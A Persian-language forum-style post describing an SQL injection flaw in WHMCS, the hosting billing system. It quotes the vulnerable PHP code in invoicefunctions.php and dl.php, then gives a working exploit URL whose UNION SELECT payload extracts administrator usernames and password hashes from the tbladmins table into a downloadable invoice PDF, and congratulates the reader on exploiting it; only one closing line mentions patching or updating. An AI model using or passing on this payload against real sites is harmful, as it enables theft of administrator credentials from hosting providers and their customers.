دوستان اعتراض کردن به اینکه چرا همیشه XSS پست میکنم ! ولی باید به این دوستان بگم که به قول دوستمون شما نمیدونید XSS چیه که همه عالم دیوانه اوست ! امروز یه آسیب پذیری در سیستم WHMCS میخوام بهتون معرفی کنم . همانطور که میدونید سایت های هاستینگ خیلی زیادی از این سیستم استفاده میکنن ! (شاید بیش از 300.000 تا ) . این باگ که از نوع SQL Injection هست در فایل  "/includes/invoicefunctions.php" بوجود آمده است . قسمتی از کدهای این فایل که باعث بوجود اومدن آسیب پذیری شده :

    LINE 582: function pdfInvoice($id)
      LINE 583: {
      LINE 686: if ($CONFIG['GroupSimilarLineItems'])
      LINE 687: {
      LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC');
      LINE 689: }
   

 

در این کد میتونیم ببینیم که آرگومنت ID$ از فانکشن pdfInvoice به صورت مستقیم از کوئری Mysql استفاده کرده که البته بدون هیچ مانعی منجر به تزریق SQL میشه .

به نظر میرسه که فانکشن pdfinvoice توسط فایل "/dl.php" فراخوانی میشه ! ( در کد زیر مشاهده کنید : )

 


      LINE 21: if ($type == 'i')
      LINE 22: {
      LINE 23: $result     = select_query('tblinvoices', '', array(
      LINE 24: 'id' => $id
      LINE 25: ));
      LINE 26: $data       = mysql_fetch_array($result);
      LINE 27: $invoiceid  = $data['id'];
      LINE 28: $invoicenum = $data['invoicenum'];
      LINE 29: $userid     = $data['userid'];
      LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid))
      LINE 31: {
      LINE 32: downloadLogin();
      LINE 33: }
      LINE 34: if (!$invoicenum)
      LINE 35: {
      LINE 36: $invoicenum = $invoiceid;
      LINE 37: }
      LINE 38: require('includes/clientfunctions.php');
      LINE 39: require('includes/countries.php');
      LINE 40: require('includes/invoicefunctions.php');
      LINE 41: require('includes/tcpdf.php');
      LINE 42: $pdfdata = pdfInvoice($id);
      LINE 43: header('Pragma: public');
      LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
      LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
      LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private');
      LINE 47: header('Cache-Control: private', false);
      LINE 48: header('Content-Type: application/octet-stream');
      LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"');
      LINE 50: header('Content-Transfer-Encoding: binary');
      LINE 51: echo $pdfdata;
      LINE 52: exit();
      LINE 53: return 1;
      LINE 54: }

در خط 42 قابل مشاهده است که فانکشن pdfInvoice فراخوانی می شود و سرانجام ID$ بدون هیچ مانعی تابع شناخته میشه و پس از آن فایل pdf را ساخته و مرورگر آن را دانلود می کند 

بنابراین برای دانلود یوزرنیم و پسورد در فایل PDF می توانید از دستور های زیر استفاده کنید :

 

http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --

و مرورگر شما فایل سفارش را به صورت PDF دانلود میکنه که یوزرنیم و پسورد به صورت Hash شده در اون قرار داره .

 

تبریک میگم ! شما این باگ رو اکسپلویت کردید و Bypass شد !

 

برای Fix یا Patch کردن باگ یا میتوانید این فایل را ویرایش کنید و یا WHMCS خود را آپدیت کنید .